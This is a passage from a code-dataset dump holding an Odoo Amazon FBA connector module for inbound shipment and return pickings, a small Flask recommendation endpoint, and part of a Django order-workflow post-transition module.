move_line_remaning_qty - op_qty\n if qty_left <= 0.0:\n break\n if qty_left > 0.0 and move_line_remaning_qty > 0.0:\n if move_line_remaning_qty <= qty_left:\n op_qty = move_line_remaning_qty\n else:\n op_qty = qty_left\n stock_move_line_obj.create(\n {\n 'product_id': move.product_id.id,\n 'product_uom_id': move.product_id.uom_id.id,\n 'picking_id': picking.id,\n 'qty_done': float(op_qty) or 0,\n 'result_package_id': False,\n 'location_id': picking.location_id.id,\n 'location_dest_id': picking.location_dest_id.id,\n 'move_id': move.id,\n })\n qty_left = float_round(qty_left - op_qty,\n precision_rounding=move.product_id.uom_id.rounding,\n rounding_method='UP')\n if qty_left <= 0.0:\n break\n if qty_left > 0.0:\n stock_move_line_obj.create( \\\n {\n 'product_id': move_lines[0].product_id.id,\n 'product_uom_id': move_lines[0].product_id.uom_id.id,\n 'picking_id': picking.id,\n 'qty_done': float(qty_left) or 0,\n 'result_package_id': False,\n 'location_id': picking.location_id.id,\n 'location_dest_id': picking.location_dest_id.id,\n 'move_id': move_lines[0].id,\n })\n\n if process_picking:\n picking.with_context({'auto_processed_orders_ept': True})._action_done()\n\n return True\n\n def check_qty_difference_and_create_return_picking_ept(self, amazon_shipment_id,\n odoo_shipment_id, instance, items):\n \"\"\"\n This method will create return picking and confirm and process that.\n \"\"\"\n pickings = odoo_shipment_id.picking_ids.filtered( \\\n lambda\n picking: picking.state == 'done' and picking.amazon_shipment_id == amazon_shipment_id and picking.is_fba_wh_picking)\n if not pickings:\n return True\n location_id = pickings[0].location_id.id\n location_dest_id = pickings[0].location_dest_id.id\n return_picking = False\n amazon_product_obj = self.env['amazon.product.ept']\n for item in items:\n sku = item.get('SellerSKU', {}).get('value', '')\n asin = item.get('FulfillmentNetworkSKU', {}).get('value')\n received_qty = float(item.get('QuantityReceived', {}).get('value', 0.0))\n amazon_product = amazon_product_obj.search_amazon_product(instance.id, sku, 'FBA')\n if not amazon_product:\n amazon_product = amazon_product_obj.search([('product_asin', '=', asin),\n ('instance_id', '=', instance.id),\n ('fulfillment_by', '=', 'FBA')],\n limit=1)\n if not amazon_product:\n continue\n\n done_moves = odoo_shipment_id.picking_ids.filtered( \\\n lambda\n r: r.is_fba_wh_picking and r.amazon_shipment_id == amazon_shipment_id).mapped( \\\n 'move_lines').filtered( \\\n lambda\n r: r.product_id.id == amazon_product.product_id.id and r.state == 'done' and r.location_id.id == location_id and r.location_dest_id.id == location_dest_id)\n\n if received_qty <= 0.0 and (not done_moves):\n continue\n for done_move in done_moves:\n received_qty = received_qty - done_move.product_qty\n\n if received_qty < 0.0:\n return_moves = odoo_shipment_id.picking_ids.filtered( \\\n lambda\n r: r.is_fba_wh_picking and r.amazon_shipment_id == amazon_shipment_id).mapped( \\\n 'move_lines').filtered( \\\n lambda\n r: r.product_id.id == amazon_product.product_id.id and r.state == 'done' and r.location_id.id == location_dest_id and r.location_dest_id.id == location_id)\n\n for return_move in return_moves:\n received_qty = received_qty + return_move.product_qty\n if received_qty >= 0.0:\n continue\n if not return_picking:\n pick_type_id = pickings[0].picking_type_id.return_picking_type_id and pickings[\n 0].picking_type_id.return_picking_type_id.id or pickings[0].picking_type_id.id\n return_picking = pickings[0].copy({\n 'move_lines': [],\n 'picking_type_id': pick_type_id,\n 'state': 'draft',\n 'origin': amazon_shipment_id,\n 'date_done': time.strftime(DEFAULT_SERVER_DATETIME_FORMAT)\n })\n received_qty = abs(received_qty)\n for move in done_moves:\n if move.product_qty <= received_qty:\n return_qty = move.product_qty\n else:\n return_qty = received_qty\n move.copy({\n 'product_id': move.product_id.id,\n 'product_uom_qty': abs(received_qty),\n 'picking_id': return_picking.id,\n 'state': 'draft',\n 'location_id': move.location_dest_id.id,\n 'location_dest_id': move.location_id.id,\n 'picking_type_id': pick_type_id,\n 'warehouse_id': pickings[0].picking_type_id.warehouse_id.id,\n 'origin_returned_move_id': move.id,\n 'procure_method': 'make_to_stock',\n 'move_dest_ids': [],\n })\n received_qty = received_qty - return_qty\n if received_qty <= 0.0:\n break\n if return_picking:\n return_picking.action_confirm()\n return_picking.action_assign()\n self.env['stock.immediate.transfer'].create( \\\n {'pick_ids': [(4, return_picking.id)]}).process()\n return True\n\n def amz_prepare_inbound_picking_kwargs(self, instance):\n \"\"\"\n Prepare Default values for request in Amazon MWS\n :param instance: amazon.instance.ept()\n :return: dict {}\n @author: Keyur Kanani\n \"\"\"\n account = self.env['iap.account'].search([('service_name', '=', 'amazon_ept')])\n dbuuid = self.env['ir.config_parameter'].sudo().get_param('database.uuid')\n return {\n 'merchant_id': instance.merchant_id and str(instance.merchant_id) or False,\n 'auth_token': instance.auth_token and str(instance.auth_token) or False,\n 'app_name': 'amazon_ept',\n 'account_token': account.account_token,\n 'dbuuid': dbuuid,\n 'amazon_marketplace_code': instance.country_id.amazon_marketplace_code or\n instance.country_id.code\n }\n\n def check_amazon_shipment_status(self, response):\n \"\"\"\n Usage: Check Shipment Status from Amazon\n :return: True\n :rtype: boolean\n \"\"\"\n amazon_shipment_ids = []\n for picking in self:\n odoo_shipment_id = picking.odoo_shipment_id and picking.odoo_shipment_id.id\n amazon_shipment_ids.append(odoo_shipment_id)\n instance = picking.odoo_shipment_id.get_instance(picking.odoo_shipment_id)\n self.amz_create_attachment_for_picking_datas(response.get('datas', {}), picking)\n process_picking = self.amz_process_inbound_picking_ept(response.get('items', {}),\n picking, instance)\n if process_picking:\n picking.with_context({'auto_processed_orders_ept': True})._action_done()\n return True\n\n def amz_process_inbound_picking_ept(self, items, picking, instance):\n \"\"\"\n Process for stock move and stock move line if Quantity received values are changed to process picking.\n :param response: items dict\n :param picking: stock.picking()\n :param instance: amazon.instance.ept()\n :return: True / False\n :rtype: Boolean\n @author: Keyur Kanani\n \"\"\"\n move_obj = self.env['stock.move']\n stock_move_line_obj = self.env['stock.move.line']\n process_picking = False\n for item in items:\n received_qty = float(item.get('QuantityReceived', {}).get('value', 0.0))\n if received_qty <= 0.0:\n continue\n amazon_product = self.amz_get_inbound_amazon_products_ept(instance, picking, item)\n if not amazon_product:\n continue\n self.amz_inbound_shipment_plan_line_ept(picking.odoo_shipment_id, amazon_product, item)\n odoo_product_id = amazon_product.product_id.id if amazon_product else False\n received_qty = self.amz_find_received_qty_from_done_moves(picking.odoo_shipment_id,\n odoo_product_id,\n received_qty,\n picking.amazon_shipment_id)\n if received_qty <= 0.0:\n continue\n stock_move = self.amz_inbound_get_stock_move_ept(picking, odoo_product_id)\n if not stock_move:\n process_picking = True\n sm_vals = self.amz_prepare_stock_move_vals(amazon_product.product_id, received_qty,\n picking)\n new_move = move_obj.create(sm_vals)\n sml_vals = self.amz_prepare_stock_move_line(amazon_product.product_id, picking,\n received_qty, new_move)\n stock_move_line_obj.create(sml_vals)\n qty_left = received_qty\n for move in stock_move:\n process_picking = True\n if move.state == 'waiting':\n move.write({'state': 'assigned'})\n if qty_left <= 0.0:\n break\n move_line_remaning_qty = (move.product_uom_qty) - ( \\\n sum(move.move_line_ids.mapped('qty_done')))\n operations = move.move_line_ids.filtered(lambda o: o.qty_done <= 0)\n for operation in operations:\n op_qty = operation.product_uom_qty if operation.product_uom_qty <= qty_left else qty_left\n move._set_quantity_done(op_qty)\n qty_left = float_round(qty_left - op_qty,\n precision_rounding=operation.product_uom_id.rounding,\n rounding_method='UP')\n move_line_remaning_qty = move_line_remaning_qty - op_qty\n if qty_left <= 0.0:\n break\n if qty_left > 0.0 and move_line_remaning_qty > 0.0:\n op_qty = move_line_remaning_qty if move_line_remaning_qty <= qty_left else qty_left\n sml_vals = self.amz_prepare_stock_move_line(move.product_id, picking, op_qty,\n move)\n stock_move_line_obj.create(sml_vals)\n qty_left = float_round(qty_left - op_qty,\n precision_rounding=move.product_id.uom_id.rounding,\n rounding_method='UP')\n if qty_left <= 0.0:\n break\n if qty_left > 0.0:\n sml_vals = self.amz_prepare_stock_move_line(amazon_product.product_id, picking, qty_left, new_move)\n stock_move_line_obj.create(sml_vals)\n return process_picking\n\n @staticmethod\n def amz_inbound_get_stock_move_ept(picking, odoo_product_id):\n \"\"\"\n Filter and get stock moves\n :param picking:\n :param odoo_product_id:\n :return: stock.move()\n \"\"\"\n stock_move = picking.move_lines.filtered( \\\n lambda r: r.product_id.id == odoo_product_id and r.state not in ( \\\n 'draft', 'done', 'cancel', 'waiting'))\n if not stock_move:\n stock_move = picking.move_lines.filtered( \\\n lambda r: r.product_id.id == odoo_product_id and r.state not in ( \\\n 'draft', 'done', 'cancel'))\n waiting_moves = stock_move and stock_move.filtered(lambda r: r.state == 'waiting')\n if waiting_moves:\n waiting_moves.write({'state': 'assigned'})\n return stock_move\n\n def amz_create_attachment_for_picking_datas(self, response, picking):\n \"\"\"\n Get xml response from amazon mws and store it as attachment for future reference only.\n :param response: response.get('datas')\n :param picking: stock.picking()\n :return: boolean\n @author: Keyur Kanani\n \"\"\"\n for data in response:\n file_name = 'inbound_shipment_report_%s.xml' % picking.id\n\n attachment = self.env['ir.attachment'].create({\n 'name': file_name,\n 'datas': base64.b64encode((data.get('origin')).encode('utf-8')),\n 'res_model': 'mail.compose.message',\n })\n picking.message_post(body=_(\" Inbound Shipment Report Downloaded \"),\n attachment_ids=attachment.ids)\n return True\n\n @staticmethod\n def amz_prepare_stock_move_vals(odoo_product, qty, picking):\n \"\"\"\n Prepare Amazon Stock move Values\n :param odoo_product: product.product()\n :param qty: float\n :param picking: stock.picking()\n :return: dict {}\n @author: Keyur Kanani\n \"\"\"\n return {\n 'name': _('New Move: {}').format(odoo_product.display_name),\n 'product_id': odoo_product.id,\n 'product_uom_qty': qty,\n 'product_uom': odoo_product.uom_id.id,\n 'location_id': picking.location_id.id,\n 'location_dest_id': picking.location_dest_id.id,\n 'picking_id': picking.id,\n }\n\n @staticmethod\n def amz_prepare_stock_move_line(odoo_product, picking, qty, move):\n \"\"\"\n Prepare Stock move line values\n :param odoo_product: product.product()\n :param picking: stock.picking()\n :param qty: float\n :param move: stock.move()\n :return: dict {}\n @author: Keyur Kanani\n \"\"\"\n return {\n 'product_id': odoo_product.id,\n 'product_uom_id': odoo_product.uom_id.id,\n 'picking_id': picking.id,\n 'qty_done': float(qty) or 0,\n 'result_package_id': False,\n 'location_id': picking.location_id.id,\n 'location_dest_id': picking.location_dest_id.id,\n 'move_id': move.id,\n }\n\n @staticmethod\n def amz_find_received_qty_from_done_moves(odoo_shipment_id, odoo_product_id, received_qty,\n amazon_shipment_id):\n \"\"\"\n Find Done Moves from all fba warehouse pickings of inbound Shipment.\n then calculate received qty if any from done moves of Inbound Shipment.\n :param picking: stock.picking()\n :param odoo_product_id: product.product()\n :param received_qty: float\n :return: received_qty(float)\n @author: Keyur Kanani\n \"\"\"\n ship_pickings = odoo_shipment_id.picking_ids.filtered( \\\n lambda r: r.amazon_shipment_id == amazon_shipment_id and r.is_fba_wh_picking)\n done_moves = ship_pickings.mapped('move_lines').filtered( \\\n lambda r: r.product_id.id == odoo_product_id.id and r.state == 'done')\n source_location_id = done_moves and done_moves[0].location_id.id\n for done_move in done_moves:\n if done_move.location_dest_id.id != source_location_id:\n received_qty = received_qty - done_move.product_qty\n else:\n received_qty = received_qty + done_move.product_qty\n return received_qty\n\n def amz_inbound_shipment_plan_line_ept(self, odoo_shipment_id, amazon_product, item):\n \"\"\"\n Create Inbound Shipment Plan Line values if inbound shipment with amazon product not found.\n :param odoo_shipment_id: shipment record.\n :param amazon_product: amazon.product.ept()\n :param item: dict {}\n :return: boolean\n @author: Keyur Kanani\n \"\"\"\n inbound_shipment_plan_line_obj = self.env['inbound.shipment.plan.line']\n asin = item.get('FulfillmentNetworkSKU', {}).get('value', '')\n shipped_qty = item.get('QuantityShipped', {}).get('value')\n received_qty = float(item.get('QuantityReceived', {}).get('value', 0.0))\n inbound_shipment_plan_line_id = odoo_shipment_id.odoo_shipment_line_ids. \\\n filtered(lambda line: line.amazon_product_id.id == amazon_product.id)\n\n if inbound_shipment_plan_line_id:\n inbound_shipment_plan_line_id[0].received_qty = received_qty or 0.0\n else:\n vals = self.amz_prepare_inbound_shipment_plan_line_vals(amazon_product, shipped_qty,\n odoo_shipment_id.id,\n asin,\n received_qty)\n inbound_shipment_plan_line_obj.create(vals)\n return True\n\n def amz_get_inbound_amazon_products_ept(self, instance, picking, item):\n \"\"\"\n Search Product from amazon products\n :param instance: amazon.instance.ept()\n :param picking: stock.picking()\n :param item: dict{}\n :return: amazon_product\n @author: Keyur Kanani\n \"\"\"\n amazon_product_obj = self.env['amazon.product.ept']\n sku = item.get('SellerSKU', {}).get('value', '')\n asin = item.get('FulfillmentNetworkSKU', {}).get('value', '')\n shipped_qty = item.get('QuantityShipped', {}).get('value')\n received_qty = float(item.get('QuantityReceived', {}).get('value', 0.0))\n amazon_product = amazon_product_obj.search_amazon_product(instance.id, sku, 'FBA')\n if not amazon_product:\n amazon_product = amazon_product_obj.search( \\\n [('product_asin', '=', asin), ('instance_id', '=', instance.id),\n ('fulfillment_by', '=', 'FBA')], limit=1)\n if not amazon_product:\n picking.message_post(body=_(\"\"\"Product not found in ERP |||\n FulfillmentNetworkSKU : {}\n SellerSKU : {} \n Shipped Qty : {}\n Received Qty : {} \n \"\"\".format(asin, sku, shipped_qty,\n received_qty)))\n return amazon_product\n\n @staticmethod\n def amz_prepare_inbound_shipment_plan_line_vals(amazon_product, shipped_qty, odoo_shipment_id,\n asin, received_qty):\n \"\"\"\n Prepare Amazon Inbound Shipment Plan Line values.\n :param amazon_product: amazon.product.ept()\n :param shipped_qty: float\n :param odoo_shipment_id: int\n :param asin: char\n :param received_qty: float\n :return: dict {}\n @author: Keyur Kanani\n \"\"\"\n return {\n 'amazon_product_id': amazon_product.id,\n 'quantity': shipped_qty or 0.0,\n 'odoo_shipment_id': odoo_shipment_id,\n 'fn_sku': asin,\n 'received_qty': received_qty,\n 'is_extra_line': True\n }\n\n def update_shipment_quantity(self):\n \"\"\"\n This method will request for update shipment in amazon and set picking with\n inbound_ship_updated to true once it is updated.\n \"\"\"\n amazon_product_obj = self.env['amazon.product.ept']\n plan_line_obj = self.env['inbound.shipment.plan.line']\n\n account = self.env['iap.account'].search([('service_name', '=', 'amazon_ept')])\n dbuuid = self.env['ir.config_parameter'].sudo().get_param('database.uuid')\n\n for picking in self:\n odoo_shipment = picking.odoo_shipment_id\n ship_plan = picking.ship_plan_id\n instance = ship_plan.instance_id\n shipment_status = 'WORKING'\n destination = odoo_shipment.shipment_plan_id.ship_to_country.code\n if not odoo_shipment.shipment_id or not odoo_shipment.fulfill_center_id:\n raise UserError(_('You must have to first create Inbound Shipment Plan.'))\n\n label_prep_type = odoo_shipment.label_prep_type\n if label_prep_type == 'NO_LABEL':\n label_prep_type = 'SELLER_LABEL'\n elif label_prep_type == 'AMAZON_LABEL':\n label_prep_type = ship_plan.label_preference\n\n for x in range(0, len(picking.move_lines), 20):\n move_lines = picking.move_lines[x:x + 20]\n sku_qty_dict = {}\n for move in move_lines:\n amazon_product = amazon_product_obj.search(\n [('product_id', '=', move.product_id.id),\n ('instance_id', '=', instance.id),\n ('fulfillment_by', '=', 'FBA')], limit=1)\n if not amazon_product:\n raise UserError(\n _(\"Amazon Product is not available for this %s product code\" % (\n move.product_id.default_code)))\n\n line = plan_line_obj.search([('odoo_shipment_id', '=', odoo_shipment.id),\n ('amazon_product_id', 'in', amazon_product.ids)])\n sku_qty_dict.update({str(\n line and line.seller_sku or amazon_product[0].seller_sku): str( \\\n int(move.reserved_availability))})\n\n kwargs = {\n 'merchant_id': instance.merchant_id and str(instance.merchant_id) or False,\n 'auth_token': instance.auth_token and str(instance.auth_token) or False,\n 'app_name': 'amazon_ept',\n 'account_token': account.account_token,\n 'emipro_api': 'update_shipment_in_amazon_v13',\n 'dbuuid': dbuuid,\n 'amazon_marketplace_code': instance.country_id.amazon_marketplace_code or\n instance.country_id.code,\n 'shipment_name': odoo_shipment.name,\n 'shipment_id': odoo_shipment.shipment_id,\n 'labelpreppreference': label_prep_type,\n 'shipment_status': shipment_status,\n 'inbound_box_content_status': odoo_shipment.intended_box_contents_source,\n 'cases_required': odoo_shipment.are_cases_required,\n 'destination': destination, }\n\n response = iap_tools.iap_jsonrpc(DEFAULT_ENDPOINT + '/iap_request',\n params=kwargs)\n if response.get('reason'):\n raise UserError(_(response.get('reason')))\n\n picking.write({'inbound_ship_updated': True})\n return True\n\n def check_qty_difference_and_create_return_picking(self, response, amazon_shipment_id,\n odoo_shipment_id, instance):\n \"\"\"\n Check quantity difference and create return picking if required.\n :param amazon_shipment_id:\n :param odoo_shipment_id:\n :param instance: amazon.instance.ept()\n :return: boolean\n \"\"\"\n stock_immediate_transfer_obj = self.env['stock.immediate.transfer']\n return_picking = self.amz_process_inbound_return_picking_ept(response, instance,\n odoo_shipment_id,\n amazon_shipment_id)\n if return_picking:\n return_picking.action_confirm()\n return_picking.action_assign()\n stock_immediate_transfer_obj.create({'pick_ids': [(4, return_picking.id)]}).process()\n return True\n\n def amz_process_inbound_return_picking_ept(self, response, instance, odoo_shipment_id,\n amazon_shipment_id):\n \"\"\"\n Logic for Process return Pickings\n :param response: list(dict)\n :param instance: amazon.instance.ept()\n :param odoo_shipment_id: int\n :param amazon_shipment_id: char\n :return:\n \"\"\"\n amazon_product_obj = self.env['amazon.product.ept']\n return_picking = False\n pick_type_id = False\n pickings = self.search([('state', '=', 'done'),\n ('odoo_shipment_id', '=', odoo_shipment_id),\n ('amazon_shipment_id', '=', amazon_shipment_id),\n ('is_fba_wh_picking', '=', True)], order=\"id\", limit=1)\n location_id = pickings.location_id.id\n location_dest_id = pickings.location_dest_id.id\n for item in response.get('items', {}):\n sku = item.get('SellerSKU', {}).get('value', '')\n asin = item.get('FulfillmentNetworkSKU', {}).get('value')\n received_qty = float(item.get('QuantityReceived', {}).get('value', 0.0))\n amazon_product = amazon_product_obj.search_amazon_product(instance.id, sku, 'FBA')\n if not amazon_product:\n amazon_product = amazon_product_obj.search(\n [('product_asin', '=', asin), ('instance_id', '=', instance.id),\n ('fulfillment_by', '=', 'FBA')], limit=1)\n if not amazon_product:\n continue\n shipment_pickings = self.search(\n [('odoo_shipment_id', '=', odoo_shipment_id), ('is_fba_wh_picking', '=', True),\n ('amazon_shipment_id', '=', amazon_shipment_id)])\n done_moves = shipment_pickings.mapped('move_lines').filtered( \\\n lambda\n r: r.state == 'done' and r.product_id.id == amazon_product.product_id.id and r.location_dest_id.id == location_dest_id and r.location_id.id == location_id)\n if received_qty <= 0.0 and (not done_moves):\n continue\n for done_move in done_moves:\n received_qty = received_qty - done_move.product_qty\n if received_qty < 0.0:\n return_moves = shipment_pickings.move_lines.filtered( \\\n lambda\n r: r.product_id.id == amazon_product.product_id.id and r.state == 'done' and r.location_id.id == location_dest_id and r.location_dest_id.id == location_id)\n\n for return_move in return_moves:\n received_qty = received_qty + return_move.product_qty\n if received_qty >= 0.0:\n continue\n if not return_picking:\n pick_type_id = pickings.picking_type_id.return_picking_type_id.id if pickings.picking_type_id.return_picking_type_id else pickings.picking_type_id.id\n return_picking = self.copy_amazon_picking_data(pickings, pick_type_id,\n amazon_shipment_id,\n done_moves)\n self.amz_create_attachment_for_picking_datas(response.get('datas', {}),\n return_picking)\n received_qty = abs(received_qty)\n for move in done_moves:\n if move.product_qty <= received_qty:\n return_qty = move.product_qty\n else:\n return_qty = received_qty\n self.amz_copy_stock_move_data_ept(move, return_picking, received_qty, pickings,\n pick_type_id)\n received_qty = received_qty - return_qty\n if received_qty <= 0.0:\n break\n return return_picking\n\n @staticmethod\n def amz_copy_stock_move_data_ept(move, return_picking, received_qty, pickings, pick_type_id):\n \"\"\"\n Copy of stock move for count received quantity.\n :param move: stock.move()\n :param return_picking: stock.picking()\n :param received_qty: float\n :param pickings:\n :param pick_type_id:\n :return: stock.move()\n \"\"\"\n return move.copy({\n 'product_id': move.product_id.id,\n 'product_uom_qty': abs(received_qty),\n 'picking_id': return_picking.id if return_picking else False,\n 'state': 'draft',\n 'location_id': move.location_dest_id.id,\n 'location_dest_id': move.location_id.id,\n 'picking_type_id': pick_type_id,\n 'warehouse_id': pickings.picking_type_id.warehouse_id.id,\n 'origin_returned_move_id': move.id,\n 'procure_method': 'make_to_stock',\n 'move_dest_ids': [],\n })\n\n @staticmethod\n def copy_amazon_picking_data(pickings, pick_type_id, amazon_shipment_id, done_moves):\n \"\"\"\n Copy picking for create return Pickings\n :param pickings:\n :param pick_type_id:\n :param amazon_shipment_id:\n :param done_moves:\n :return:\n \"\"\"\n return pickings.copy({\n 'move_lines': [],\n 'picking_type_id': pick_type_id,\n 'state': 'draft',\n 'origin': amazon_shipment_id,\n 'location_id': done_moves[0].location_dest_id.id,\n 'location_dest_id': done_moves[0].location_id.id,\n })\n","sub_path":"amazon_ept/models/stock_picking.py","file_name":"stock_picking.py","file_ext":"py","file_size_in_byte":44446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"293702134","text":"from flask import Flask, request,render_template, jsonify\nfrom evaluator import Evaluate\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template(\"popup.html\")\n\n@app.route('/process', methods=['POST'])\ndef process():\n email = request.form['email']\n name = request.form['name']\n if name and email:\n ev = Evaluate(email)\n r = ev.get_recommendations()\n\n return jsonify({'name':r[0]})\n return jsonify({'error':'Missing data'})\nif __name__ == '__main__':\n app.run(debug=True,port=5000)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"188387454","text":"import datetime\nimport traceback\n\nfrom django.conf import settings\nfrom django.db import models\nfrom django.utils import timezone\n\nfrom django_fsm import TransitionNotAllowed\n\nfrom oms.custom_mail import SendMail\nfrom service_provider.opinio.functions import OrderPush\nfrom workflow.base_workflow import RejectedError, QueuedError, ServiceProviderError, \\\n OrderPushError, ConditionError, ScheduledError, CancelError\nfrom workflow.spsd_workflow.spsd_callback import callback_thinclient\nfrom workflow.utils import trace_exception \n\nimport logging\nfrom functools import wraps\n\nlogger = logging.getLogger('common')\nlogger = logging.LoggerAdapter(logger, settings.LOGGING_EXTRA)\n\n\nclass SPSDPostTransition(object):\n\n def __init__(self, model):\n logger.info(\"initialize SPSDPostTransition\")\n self.model = model\n \n def _update_workflow_transition_state(self):\n \"\"\" update workflow transition dictionary to maintain\n the transtion state for subworkflows\n \"\"\"\n self.model.state_transitions.append(\n {\n 'state':self.model.state,\n 'time':timezone.now(),\n 'order_event_status' : self.model.order_event.event_status,\n 'additional_data' : self.model.additional_data\n }\n )\n\n @callback_thinclient \n def _cancel_error_update(self,cancellation = False):\n \"\"\" error update to thin client when cancellation not \n possible\n Args:\n cancellation : bool kwarg to check is_cancelled \n possible or not \n \"\"\"\n pass \n \n @classmethod\n def post_transition_new(cls, func): \n \"\"\" post transition callback \"\"\"\n @wraps(func)\n def transition_wrapper(*args, **kwargs):\n try:\n self = args[0]\n order_event_id = args[2]\n func(*args, **kwargs)\n try:\n self.sub_workflows(self.state, self.target)() \n except ScheduledError:\n logger.error(\"Schedule retry for order %s\", self.order.order_id) \n except RejectedError:\n logger.error(\"order id %s rejected\", self.order.order_id)\n self.rejected()\n except QueuedError:\n logger.warning(\"order id %s queued\", self.order.order_id)\n self.queued() \n except ServiceProviderError:\n logger.warning(\"something went wrong in opinio push response for order %s\",self.order.order_id)\n self.rejected()\n except (OrderPushError, TransitionNotAllowed):\n logger.error(\"Sorry this transition not possible for order %s\", self.order.order_id)\n except CancelError:\n self.additional_data['message'] = settings.COMMENT_ON_CANCELLATION_ERROR\n cls(self)._cancel_error_update(cancellation = True) \n logger.error(\"Sorry cancellation not possible for order %s\", self.order.order_id)\n except TypeError:\n self.order_event.event_status = settings.ORDER_EVENT_ERROR\n self.order_event.save()\n return \n except Exception as err:\n logger.error(\"Sorry there is some unexpected error for order %s\", self.order.order_id) \n trace_exception(self)\n self._update_workflow() \n except Exception as err:\n logger.info(err.__dict__)\n logger.error(traceback.format_exc())\n trace_exception(self) \n return transition_wrapper \n\n def post_transition_manifest(self):\n \"\"\" after manifest to check condtions to proceed further in workflow\n \"\"\"\n logger.info(\"Order %s post transition manifest\", self.model.order.order_id)\n logger.debug(\"state is %s\", self.model.state) \n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n try:\n self.model.accepted() \n except ConditionError: \n logger.warning(\"rejected method called\")\n self.model.rejected()\n\n def post_transition_accept(self):\n \"\"\" \n after manifest to check conditions to proceed further in workflow\n \"\"\"\n logger.info(\"within post transition accept\")\n logger.debug(\"state is %s\", self.model.state) \n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n try:\n self.model.scheduled() \n except RejectedError:\n logger.warning(\"This order cannot be fulfilled due to pickup time is less than current time\")\n self.model.rejected() \n except ConditionError:\n try:\n self.model.assigned()\n except ScheduledError:\n logger.error(\"Schedule retry for order %s\", self.model.order.order_id) \n except RejectedError:\n logger.error(\"rejected state going check\")\n self.model.rejected()\n except QueuedError:\n logger.error(\"queued state going check\")\n self.model.queued() \n except ServiceProviderError:\n logger.warning(\"something went wrong in opinio push response\")\n self.model.rejected()\n except OrderPushError:\n logger.error(\"Sorry this transition not possible\") \n \n @callback_thinclient \n def post_transition_queue(self):\n \"\"\" \n after queue need to push order to opinio\n \"\"\"\n logger.info(\"within post transition queue\")\n logger.debug(\"state is %s\", self.model.state)\n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n \n @callback_thinclient\n def post_transition_assign(self):\n \"\"\" \n after manifest to check conditions to proceed further in workflow\n \"\"\"\n logger.info(\"within post transition assign\")\n logger.debug(\"state is %s\", self.model.state)\n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n if self.model.state != self.model.order_event.destination_status.status:\n self.model.sp_accepted()\n\n @callback_thinclient\n def post_transition_schedule(self):\n \"\"\" \n after manifest to check conditions to proceed further in workflow\n \"\"\"\n logger.info(\"within post transition schedule\")\n logger.debug(\"state is %s\", self.model.state)\n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n ) \n\n @callback_thinclient\n def post_transition_reject(self):\n \"\"\" \n after manifest to check conditions to proceed further in workflow\n \"\"\"\n logger.info(\"within post transition reject\")\n logger.debug(\"state is %s\", self.model.state)\n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n\n @callback_thinclient\n def post_transition_cancel(self):\n \"\"\" \n after manifest to check conditions to proceed further in workflow\n \"\"\"\n logger.info(\"within post transition cancel\")\n logger.debug(\"state is %s\", self.model.state)\n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n\n @callback_thinclient\n def post_transition_dispute(self):\n \"\"\" \n after manifest to check conditions to proceed further in workflow\n \"\"\"\n logger.info(\"within post transition dispute\")\n logger.debug(\"state is %s\", self.model.state)\n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n ) \n \n @callback_thinclient\n def post_transition_sp_accepted(self):\n \"\"\" after manifest to check conditions to proceed further in workflow\n \"\"\" \n logger.info(\"within post transition sp accepted\")\n logger.debug(\"state is %s\", self.model.state)\n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n logger.info('current state is %s', self.model.state)\n logger.info('order event status state is %s', self.model.order_event.destination_status.status)\n if self.model.state != self.model.order_event.destination_status.status:\n self.model.towards_pickup() \n\n \n @callback_thinclient\n def post_transition_towards_pickup(self):\n \"\"\" after manifest to check conditions to proceed further in workflow\n \"\"\" \n logger.info(\"within post transition towards pickup\")\n logger.debug(\"state is %s\", self.model.state) \n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n if self.model.state != self.model.order_event.destination_status.status:\n self.model.arrived()\n \n @callback_thinclient\n def post_transition_arrived(self):\n \"\"\" after manifest to check conditions to proceed further in workflow\n \"\"\" \n logger.info(\"within post transition arrived\")\n logger.debug(\"state is %s\", self.model.state) \n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n if self.model.state != self.model.order_event.destination_status.status:\n self.model.pickedup()\n \n @callback_thinclient\n def post_transition_pickedup(self):\n \"\"\" after manifest to check conditions to proceed further in workflow\n \"\"\" \n logger.info(\"within post transition pickedup\")\n logger.debug(\"state is %s\", self.model.state)\n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n )\n if self.model.state != self.model.order_event.destination_status.status:\n self.model.delivered() \n\n @callback_thinclient\n def post_transition_deliver(self):\n \"\"\" after manifest to check conditions to proceed further in workflow\n \"\"\" \n logger.info(\"within post transition deliver\")\n logger.debug(\"state is %s\", self.model.state)\n self._update_workflow_transition_state()\n logger.info(\"transition state for order %s is %s\",\n self.model.order.order_id,\n self.model.state_transitions\n ) \n\n\ndef callback_posttransition(func):\n \"\"\" callback to thin client to send notification \"\"\"\n @wraps(func)\n def push(*args, **kwargs):\n func(*args, **kwargs)\n transition_object = SPSDPostTransition(args[0])\n post_transition_dict = dict([(settings.MANIFESTED, transition_object.post_transition_manifest),\n (settings.ACCEPTED, transition_object.post_transition_accept),\n (settings.QUEUED, transition_object.post_transition_queue),\n 